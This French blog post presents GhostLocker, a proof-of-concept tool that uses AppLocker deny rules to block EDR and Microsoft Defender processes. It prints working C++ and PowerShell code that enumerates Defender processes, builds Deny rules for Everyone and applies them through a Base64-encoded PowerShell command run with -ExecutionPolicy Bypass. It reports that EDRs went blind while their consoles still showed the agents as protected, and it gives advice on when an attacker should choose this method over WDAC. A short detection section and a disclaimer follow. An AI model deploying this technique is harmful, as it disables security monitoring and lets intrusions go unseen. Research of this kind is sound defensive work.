GhostLocker : Neutralisation d'EDR basée sur AppLocker

Introduction

Après mon article sur Fairy-Law, où j'utilisais des mitigations noyau pour désactiver les solutions Endpoint Detection & Response (EDR), diversenok a fait remarquer que les exclusions IFEO (Image File Execution Options) étaient trop invasives pour les applications tierces. Cela a conduit à une meilleure approche : exploiter le pouvoir inhérent que les administrateurs possèdent déjà via AppLocker.

Le concept a été inspiré par diversenok, qui a souligné que les administrateurs peuvent légitimement contrôler n'importe quel logiciel sur leurs systèmes. À partir de cette idée, j'ai développé une technique utilisant AppLocker comme mécanisme de contrôle natif de Windows. Cette recherche explore la mise en œuvre technique d'AppLocker pour le contrôle des EDR, la compare à WDAC et présente un outil de preuve de concept pratique.

AppLocker : Architecture de liste blanche d'applications

AppLocker a été introduit avec Windows 7 et amélioré dans Windows 8.1, 10 (Entreprise) et Windows Server 2012/R2/2016+. C'est un framework de liste blanche d'applications qui permet aux administrateurs de définir précisément quels exécutables, scripts ou installateurs peuvent s'exécuter pour des utilisateurs ou des groupes spécifiques.

Architecture interne (perspective Windows Internals)

Composants mode utilisateur et noyau :

AppIDSvc (Application Identity Service)

• S'exécute sous le compte LocalService
• Surveille les modifications du registre sur les chemins de stratégie AppLocker
• Traduit les définitions de règles basées sur XML en SDDL binaire (Security Descriptor Definition Language)
• Communique les mises à jour de stratégie au pilote noyau via DeviceIoControl

AppID.sys (Pilote noyau)

• Intercepte les événements de création de processus via des mécanismes de callback
• Effectue l'évaluation des règles en utilisant SeSrpAccessCheck
• Surveille optionnellement les chargements de DLL (désactivé par défaut pour des raisons de performance)

Clarification :
Bien que AppID.sys effectue l'évaluation des règles en mode noyau, l'application des règles DLL n'est pas autonome.
Le pilote noyau ne surveille pas activement les chargements de DLL par lui-même. Au lieu de cela, les composants en mode utilisateur doivent explicitement interroger le pilote via IOCTL pour déterminer si un chargement de DLL est autorisé.
Par conséquent, les règles DLL d'AppLocker agissent en réalité comme un mécanisme de protection côté client.

Types de règles et application

AppLocker prend en charge deux catégories principales de règles :

Règles d'autorisation (Allow) : autorisent explicitement l'exécution des applications définies

Règles de refus (Deny) : bloquent explicitement l'exécution des applications définies

• Les règles de refus ont toujours priorité sur les règles d'autorisation
• Peuvent inclure des exceptions pour des conditions spécifiques
• Prennent en charge le ciblage au niveau utilisateur et groupe

Critères de règles (attributs AppID) :

• Règles basées sur le chemin : C:\Program Files\Security\*.exe
• Règles basées sur le hachage : validation du hachage Authenticode SHA256
• Règles d'éditeur (Publisher) : vérification de la signature numérique, de la version, du nom du produit
• Règles d'attributs de fichier : nom de la société, version du produit, etc.

Emplacements de stockage dans le registre :

HKLM\Software\Policies\Microsoft\Windows\SrpV2     (stockage de la stratégie XML, persistant)
HKLM\SYSTEM\CurrentControlSet\Control\Srp\Gp\Exe  (format binaire SDDL, application active)
HKLM\SYSTEM\CurrentControlSet\Control\AppID\CertStore (cache de certificats)

Application sur les services et processus SYSTEM (souvent négligée)

Par défaut, AppLocker n'applique pas les règles aux services ou aux processus SYSTEM.
Il n'existe aucune option d'interface graphique pour activer ce comportement.

L'application des règles pour les services ne peut être activée que via la stratégie XML en utilisant RuleCollectionExtensions.

La section de stratégie suivante est requise pour appliquer les règles AppLocker aux services :

<RuleCollectionExtensions>
  <ThresholdExtensions>
    <Services EnforcementMode="Enabled"/>
  </ThresholdExtensions>
  <RedstoneExtensions>
    <SystemApps Allow="Enabled"/>
  </RedstoneExtensions>
</RuleCollectionExtensions>

Comme l'indiquent les noms des extensions, ces options ne sont prises en charge que sur Windows 10+ et ne sont pas disponibles sur les versions antérieures. Voir Microsoft - Extensions de collection de règles AppLocker

Flux d'application :

1. Windows notifie le pilote AppID lors de la création d'un processus
2. AppID.sys évalue les attributs de l'application
3. Selon les règles AppLocker, il autorise ou bloque le processus
4. Si bloqué, la création du processus est interrompue avec STATUS_ACCESS_DISABLED_BY_POLICY_OTHER

Limitation critique :

⚠️ AppLocker ne termine PAS les processus en cours d'exécution.

L'application d'AppLocker ne concerne que les nouveaux événements de création de processus. Les processus EDR déjà en cours d'exécution continuent de s'exécuter jusqu'au redémarrage du système. C'est une contrainte architecturale fondamentale.

Réserve sur la télémétrie des pilotes noyau :

Même après avoir bloqué les exécutables EDR en espace utilisateur, les pilotes noyau (*.sys) restent actifs et opérationnels. Ces pilotes continuent :

• D'enregistrer des callbacks noyau (processus, threads, chargement d'images, registre)
• De collecter des données de télémétrie
• De surveiller les événements système

Cependant, des tests approfondis révèlent que cette télémétrie devient fonctionnellement inefficace. Sans moteurs d'analyse en espace utilisateur, systèmes de corrélation et mécanismes de rapport, les données de télémétrie brutes ne peuvent pas être transformées en détections exploitables. Les solutions EDR s'appuient fortement sur les composants en espace utilisateur pour :

• La corrélation d'événements et l'analyse comportementale
• L'inférence par apprentissage automatique
• La génération d'alertes et l'orchestration des réponses
• La communication avec les consoles de gestion

GhostLocker : Implémentation de preuve de concept

Présentation de l'outil

GhostLocker est une implémentation en C++ qui automatise le déploiement de stratégies AppLocker pour bloquer les exécutables EDR.

Analyse de l'implémentation technique

Variantes d'implémentation

GhostLocker propose deux variantes d'implémentation :

main.cpp – Version à énumération dynamique

Cette version énumère les processus en cours d'exécution et résout leurs chemins d'image complets en utilisant les API natives (NtQuerySystemInformation).
Les chemins absolus résolus sont ensuite utilisés pour générer des règles de refus AppLocker précises.

L'outil utilise CreateToolhelp32Snapshot avec TH32CS_SNAPPROCESS pour énumérer tous les processus en cours d'exécution. Il compare les noms de processus à une liste cible prédéfinie en utilisant une correspondance insensible à la casse (_wcsicmp).

Pourquoi cette approche ?

• Énumération légère et rapide
• Aucun privilège élevé requis pour lire la liste des processus
• La correspondance insensible à la casse gère les variations de noms

1. Énumération des processus (FindTargetsAndQueryPaths)

const wchar_t* targetNames[] = {
    L"MpDefenderCoreService.exe",
    L"MsMpEng.exe",
    L"WinDefend.exe",
    L"EDR_Component_Name.exe",
};

2. Résolution du chemin via NtQuerySystemInformation

SYSTEM_PROCESS_ID_INFORMATION spi = { 0 };
spi.ProcessId = PID;
spi.ImageName.MaximumLength = 1024;
spi.ImageName.Buffer = (PWSTR)allocBuffer;

status = NtQuerySystemInformation(
    SystemProcessIdInformation,
    &spi,
    sizeof(spi),
    0
);

Détails techniques :

• Utilise la classe d'informations non documentée SystemProcessIdInformation (0x58)
• Renvoie le format de chemin NT device : \Device\HarddiskVolume3\Windows\System32\...
• Nécessite une conversion vers le format de chemin Win32 pour la compatibilité AppLocker

Logique de conversion du chemin :

std::wstring ForceHarddiskVolumeToC(const std::wstring& ntPath)
{
    const std::wstring prefix = L"\\Device\\HarddiskVolume3\\";
    if (ntPath.rfind(prefix, 0) == 0)
    {
        std::wstring rest = ntPath.substr(prefix.length());
        return L"C:\\" + rest;
    }
    return ntPath;
}

Limitation : Hypothèse codée en dur de HarddiskVolume3. Devrait être améliorée pour résoudre dynamiquement les numéros de volume.

3. Génération de la stratégie PowerShell

L'outil intègre un script PowerShell complet qui :

a) Valide les chemins cibles

foreach ($exe in $ExeToBlock) {
    if (!(Test-Path $exe)) {
        Write-Host '[!] ERROR: File does not exist:' $exe -ForegroundColor Red
        exit 1
    }
}

b) Génère des règles de refus dynamiques

foreach ($exe in $ExeToBlock) {
    $id   = [guid]::NewGuid().ToString()
    $name = Split-Path $exe -Leaf
    
    $dynamicBlockRules += '<FilePathRule Id="' + $id + '" Name="Block ' + $name + 
                          '" Description="Blocked by policy" UserOrGroupSid="S-1-1-0" Action="Deny">'
    $dynamicBlockRules += '<Conditions><FilePathCondition Path="' + $exe + '" /></Conditions>'
    $dynamicBlockRules += '</FilePathRule>'
}

Éléments clés de la stratégie :

• UserOrGroupSid="S-1-1-0" : s'applique à Tout le monde (tous les utilisateurs)
• Action="Deny" : règle de blocage explicite
• EnforcementMode="Enabled" : application active pour les règles EXE
• Les règles de refus sont insérées avant les règles d'autorisation de secours (priorité)

c) Application de la stratégie

Set-AppLockerPolicy -XmlPolicy $tempPath -ErrorAction Stop
gpupdate /force | Out-Null

4. Encodage Base64 et exécution

void RunPowerShellInMemory()
{
    std::wstring script = BuildFullPowerShellScript();
    const BYTE* bytes = reinterpret_cast<const BYTE*>(script.c_str());
    size_t byteLen = script.size() * sizeof(wchar_t);
    
    std::wstring encoded = Base64Encode(bytes, byteLen);
    std::wstring params = L"-NoProfile -ExecutionPolicy Bypass -EncodedCommand ";
    params += encoded;
    
    ShellExecuteW(NULL, L"runas", L"powershell.exe", params.c_str(), NULL, SW_SHOW);
}

Raisonnement technique :

• Encodage UTF-16LE : -EncodedCommand de PowerShell attend de l'UTF-16LE
• Encodage Base64 : contourne les restrictions de caractères de la ligne de commande
• -ExecutionPolicy Bypass : ignore la stratégie d'exécution des scripts
• Verbe runas : déclenche l'élévation UAC pour les droits administratifs

main_improved.cpp – Version statique basée sur des jokers

Après les clarifications de diversenok, il est apparu que les règles de chemin AppLocker prennent en charge la correspondance par jokers et ne nécessitent pas les chemins d'exécutables complets.

Cette version améliorée supprime toute l'énumération des processus et la logique de résolution de chemins native et s'appuie plutôt sur des règles statiques à jokers telles que : *\MsMpEng.exe

Exigences

⚠️ Prérequis pour un déploiement réussi :

• Doit être exécuté depuis un contexte élevé (Administrateur)
• Le service AppIDSvc doit être en cours d'exécution : sc start AppIDSvc
• Un redémarrage du système est requis après le déploiement pour une efficacité totale
• Les processus EDR cibles doivent être en cours d'exécution pendant la phase d'énumération

Résultats de la recherche : Tests EDR dans le monde réel

Méthodologie de test

Des tests contrôlés approfondis ont été menés contre plusieurs solutions EDR commerciales pour évaluer l'efficacité.

Environnement de test :

• Windows 11 (25H2)
• Plusieurs produits EDR commerciaux (noms non divulgués)
• Détection de base : techniques simples d'injection de processus
• Vérification pré-test : confirmation des capacités de détection des EDR

Constatations clés

Capacités de détection après blocage

Échec de l'analyse comportementale :

• Toutes les solutions EDR testées n'ont pas réussi à générer d'alertes après le blocage par AppLocker
• Les injections simples précédemment détectées sont passées inaperçues
• Aucune détection comportementale déclenchée pour des activités suspectes

Perspective de la console de gestion :

• Les agents continuaient de se signaler comme « en ligne » et « protégés »
• Les horodatages de dernière connexion se mettaient à jour normalement
• Aucune indication de compromission depuis l'interface de gestion

Analyse de la télémétrie des pilotes noyau

Malgré le fait que les pilotes noyau continuent de s'exécuter et de collecter des flux de télémétrie, l'absence de composants de traitement en espace utilisateur a rendu les données collectées inefficaces.

Ce qui continue de fonctionner :

• Les callbacks noyau se déclenchent normalement (processus, threads, chargement d'images, registre, etc.)
• La collecte de données de télémétrie brutes persiste
• La communication pilote à pilote peut fonctionner

Aperçu critique :

L'architecture EDR moderne repose sur un couplage étroit entre les pilotes noyau et les moteurs d'analyse en espace utilisateur.
Briser ce couplage rend efficacement l'EDR aveugle malgré la poursuite de la collecte de télémétrie.

Capture d'écran (Énumération et application de la stratégie AppLocker) :

Capture d'écran (WinDefend désactivé) :

Capture d'écran de la version 2

Comparaison : WDAC vs. AppLocker

Qu'est-ce que WDAC ?

Windows Defender Application Control (WDAC) a été introduit dans Windows 10 et représente le framework moderne de contrôle d'applications de Microsoft.
Il applique des stratégies à la fois sur les binaires en mode utilisateur et en mode noyau.

Architecture WDAC :

Caractéristiques principales :

• Application à l'échelle du système (tous les utilisateurs, toutes les sessions)
• Application avant démarrage
• Modèle de refus par défaut
• Moteur de stratégie Code Integrity (CI)
• Application de la signature des pilotes noyau

Stockage de la stratégie WDAC :

C:\Windows\System32\CodeIntegrity\SIPolicy.p7b    (Stratégie active, signée)
C:\Windows\System32\CodeIntegrity\CIPolicies\     (Stratégies multiples)
Partition système EFI (application UEFI)

WDAC comme vecteur d'attaque : Krueger

Krueger a démontré l'abus de WDAC pour le blocage des pilotes EDR :

Différence clé :

• WDAC bloque au moment du chargement du pilote (noyau)
• AppLocker bloque au moment de la création du processus (espace utilisateur)

Matrice de comparaison détaillée

Considérations pratiques d'attaque

Quand utiliser AppLocker (GhostLocker) :

• L'objectif est uniquement le blocage de processus en espace utilisateur
• Vous souhaitez maintenir la télémétrie des pilotes noyau (moins suspect)
• Vous avez besoin de stratégies limitées à certains utilisateurs pour un blocage ciblé

Quand utiliser WDAC (style Krueger) :

• Vous avez besoin d'un blocage complet au niveau des pilotes
• La cible n'a pas d'application WDAC

Conseils de détection et de prévention

1. Évaluation de la stratégie avant exécution

Windows fournit l'API Get-AppLockerFileInformation, qui permet de tester si un exécutable spécifique serait bloqué sous la stratégie AppLocker actuelle.

Un EDR peut utiliser ce mécanisme pour vérifier de manière proactive si ses propres binaires ou services seraient refusés après un changement de stratégie.
Si un composant central passe d'autorisé à refusé, cela doit être traité comme une condition de falsification à haute confiance.

2. Surveillance des modifications de stratégie AppLocker

Les mises à jour de stratégie AppLocker sont communiquées à AppID.sys via des appels IOCTL explicites depuis le mode utilisateur.
Cela fournit un signal clair indiquant que l'état d'application a changé.

Les pilotes noyau peuvent observer ces notifications et les corréler avec les échecs d'exécution ultérieurs des services protégés, permettant une détection précise de la neutralisation basée sur une stratégie.

3. Corrélation persistance et redémarrage

Les stratégies AppLocker sont conservées après les redémarrages dans des emplacements de registre bien définis.
Les solutions EDR peuvent prendre un instantané de l'état de la stratégie avant le redémarrage et vérifier la cohérence de l'application après le démarrage du système.

Une inadéquation entre l'état d'exécution attendu et l'application après redémarrage indique fortement une manipulation intentionnelle de la stratégie.

4. Mécanismes d'exclusion intégrés

Windows inclut des mécanismes natifs pour exclure des processus de l'application SRP/AppLocker.
Les produits de sécurité sont censés s'intégrer à ces mécanismes pour garantir la continuité opérationnelle.

Ne pas tenir compte de ces exclusions n'est pas une limitation d'AppLocker, mais plutôt un oubli architectural dans le produit protégé.

Résumé

Aucune de ces stratégies de détection ne nécessite de contourner AppLocker ou de violer les limites de sécurité de Windows.
Elles s'appuient uniquement sur un comportement documenté et des interfaces déjà fournies par le système d'exploitation.

Conclusion

GhostLocker démontre qu'AppLocker, une fonctionnalité de sécurité légitime de Windows, peut être transformé en arme pour neutraliser les solutions EDR via le blocage de processus en espace utilisateur.
Cette recherche met en évidence des vulnérabilités architecturales fondamentales dans les conceptions EDR actuelles qui couplent étroitement la collecte de télémétrie noyau avec les moteurs d'analyse en espace utilisateur.

Points clés à retenir :

1. Efficacité d'AppLocker : bloque avec succès les processus EDR en espace utilisateur chez plusieurs fournisseurs
2. Vulnérabilité architecturale : les pilotes noyau continuent de s'exécuter mais deviennent fonctionnellement aveugles sans traitement en espace utilisateur
3. Aveuglement à la détection : les EDR testés ont montré un échec complet de détection après le blocage
4. Tromperie de la console de gestion : les agents apparaissent « en ligne » et « protégés » malgré la compromission
5. Technique native du système : utilise des fonctionnalités légitimes de Windows

Pour une future implémentation en C# :

• Exécution en mémoire pure .NET (meilleur OPSEC)
• Utilisation directe des API sans dépendances PowerShell

Avertissement

Cette recherche est fournie à des fins éducatives et de sécurité défensive uniquement.
Les techniques décrites ne doivent être utilisées que dans des environnements de test autorisés avec une permission explicite.

Références et lectures complémentaires

• Windows Internals, Part 1 & 2 (7th Edition)
• Référence technique AppLocker
• Guide de conception WDAC
• Krueger : Outil d'abus WDAC

Contributions de la communauté bienvenues

Si vous êtes intéressé par une contribution à GhostLocker, en particulier pour l'implémentation en C#, vous êtes les bienvenus.